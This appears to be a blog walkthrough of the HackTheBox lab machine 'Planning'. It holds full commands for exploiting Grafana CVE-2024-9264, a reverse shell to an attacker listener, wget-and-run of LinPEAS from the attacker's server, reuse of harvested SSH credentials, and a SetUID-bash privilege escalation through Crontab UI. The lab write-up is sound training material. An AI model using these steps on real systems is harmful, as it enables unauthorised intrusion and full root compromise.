Planning is an Easy Linux machine on HackTheBox that covers key penetration testing techniques such as Grafana exploitation, container escape, and privilege escalation through Crontab UI. This machine is great for beginners looking to strengthen their enumeration and privilege escalation skills. You can find it here: HackTheBox Planning.
After assigning the target IP, I started with an Nmap scan to identify open ports and running services:
nmap -sV -sC -A 10.10.11.68The scan revealed the following:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
| http-title: Grafana
|_Requested resource was /login/login)Since the web service was tied to a hostname, I updated my /etc/hosts file to include the domain:
echo "10.10.11.68 planning.htb" | sudo tee -a /etc/hostsTo uncover additional services, I ran a vhost scan against planning.htb using Gobuster:
gobuster vhost -u http://planning.htb \
-w wordlists/seclists/current/Discovery/DNS/combined_subdomains.txt \
--append-domain -t 50The scan discovered a subdomain:
Press enter or click to view image in full size
This confirmed that the Grafana service was indeed running. I added it to my /etc/hosts file:
echo "10.10.11.68 grafana.planning.htb" | sudo tee -a /etc/hostsWhen visiting http://grafana.planning.htb, I found a Grafana login panel. Credentials were provided for the lab:
admin0D5oT70Fq13EvB5rI logged in successfully and noted that the instance was running an outdated Grafana version vulnerable to CVE-2024–9264.
This vulnerability allows authenticated users to achieve remote code execution (RCE). I leveraged the public proof-of-concept exploit from nollium’s GitHub repository:
python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r \
-c "cat /etc/passwd" http://grafana.planning.htb/The exploit executed successfully and confirmed code execution by dumping /etc/passwd:
I then verified my privilege level:
python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r \
-c "whoami" http://grafana.planning.htb/Output:
rootDropped into /usr/share/grafana, I automated Linux enumeration and privilege escalation checks by running LinPEAS against the Grafana environment.
After some trial and error, and following hints from the HTB Discord community, I discovered an alternative exploit that provided better control over the container environment. This PoC is available here:
🔗 z3k0sec/CVE-2024–9264-RCE-Exploit
To gain a more stable shell, I cloned the repository and executed the exploit. First, I started a Netcat listener on port 4444:
nc -lnvp 4444Then, I triggered the exploit, specifying my VPN IP and the listener port for a reverse shell:
python3 poc.py --url http://grafana.planning.htb \
--username admin --password 0D5oT70Fq13EvB5r \
--reverse-ip <your-vpn-ip> --reverse-port 4444And boom !! I received a shell back as root inside the container:
death@esther:~$ nc -lnvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.11.68 48480
sh: 0: can't access tty; job control turned off
#After gaining initial access, I discovered the shell was confined to a Docker container, so I pivoted to researching and exploiting a container escape to reach the host.
I noticed that I was dropped inside the /usr/share/grafana directory. Rather than manually digging around, I decided to automate the enumeration process by running LinPEAS, a popular privilege escalation script.
On my local machine, I hosted the script using a Python HTTP server:
python3 -m http.server 8000Then, inside the container, I downloaded and executed it:
wget http://10.10.14.62:8000/linpeas.sh && bash linpeas.shWithin seconds, LinPEAS highlighted an interesting discovery “sensitive credentials” stored in environment variables:
Press enter or click to view image in full size
This revealed valid SSH credentials:
enzoRioTecRANDEntANT!With these credentials, I am prepared to log in to the main host via SSH access.
Using the recovered credentials, I was able to successfully SSH into the main host as enzo:
ssh [email protected]
# password: RioTecRANDEntANT!Once inside, I navigated to the user’s home directory and retrieved the user flag:
enzo@planning:~$ cat user.txtWith SSH access as enzo, I wanted to identify potential privilege escalation vectors. Since I still had my Python HTTP server running, I downloaded and executed LinPEAS directly on the host:
cd /dev/shm && wget http://10.10.14.62:8000/linpeas.sh && bash linpeas.shWithin seconds, LinPEAS flagged a suspicious cron configuration file at /opt/crontabs/crontab.db:
Press enter or click to view image in full size
enzo@planning:/dev/shm$ cat /opt/crontabs/crontab.db
{"name":"Grafana backup","command":"/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz","schedule":"@daily","stopped":false,"timestamp":"Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740774983276,"saved":false,"_id":"GTI22PpoJNtRKg0W"}
{"name":"Cleanup","command":"/root/scripts/cleanup.sh","schedule":"* * * * *","stopped":false,"timestamp":"Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740849309992,"saved":false,"_id":"gNIRXh1WIc9K7BYX"}This revealed two scheduled jobs:
root_grafanaP4ssw0rdS0pRi0T3c2. Cleanup Job (every minute):
/root/scripts/cleanup.shTo escalate further, I enumerated local services by running:
netstat -tuplnThe output revealed multiple services bound only to 127.0.0.1. Among them was a web service listening on port 8000:
tcp 127.0.0.1:8000 0.0.0.0:* LISTEN -Since it wasn’t externally accessible, I created an SSH tunnel to forward the service to my attacker machine:
ssh [email protected] -L 8000:127.0.0.1:8000This allowed me to interact with the hidden service locally at http://127.0.0.1:8000.
During enumeration, I discovered /opt/crontabs/crontab.db, which contained hardcoded credentials:
rootP4ssw0rdS0pRi0T3cWhen I visited the forwarded service, I was greeted with a Crontab UI login page. Using the credentials above, I successfully logged in as root.
Press enter or click to view image in full size
After accessing the Crontab web UI as root, I reviewed existing jobs and confirmed I could create new cron entries a clear privilege escalation and persistence vector via scheduled tasks.
To exploit this, I created a new job named test and used the following payload:
Press enter or click to view image in full size
2. Give it a name → test
3. Command →
cp /bin/bash /tmp/bash && chmod u+s /tmp/bashcp /bin/bash /tmp/bash: Copies the system’s Bash binary into /tmp.chmod u+s /tmp/bash: Applies the SetUID bit, ensuring that anyone who runs /tmp/bash executes it with root privileges.4. Set minute → 1
5. Click on Set
6. Click on Save
Press enter or click to view image in full size
Instead of waiting for the cron job to execute on schedule, I simply clicked on Run Now in the Crontab UI.
Press enter or click to view image in full size
Then, I checked the /tmp directory:
ls /tmpAmong various systemd temp files, I found the newly created binary bash. Its permissions confirmed that the SetUID bit was successfully applied.
Finally, I executed the following command to gain a root shell:
/tmp/bash -pThe -p flag ensures that the privileged UID is preserved. The shell prompt changed, and running:
With full system compromise achieved, I navigated to the root directory and read the final flag:
Thanks for reading, and I hope this write-up helps others sharpening their penetration testing and privilege escalation skills.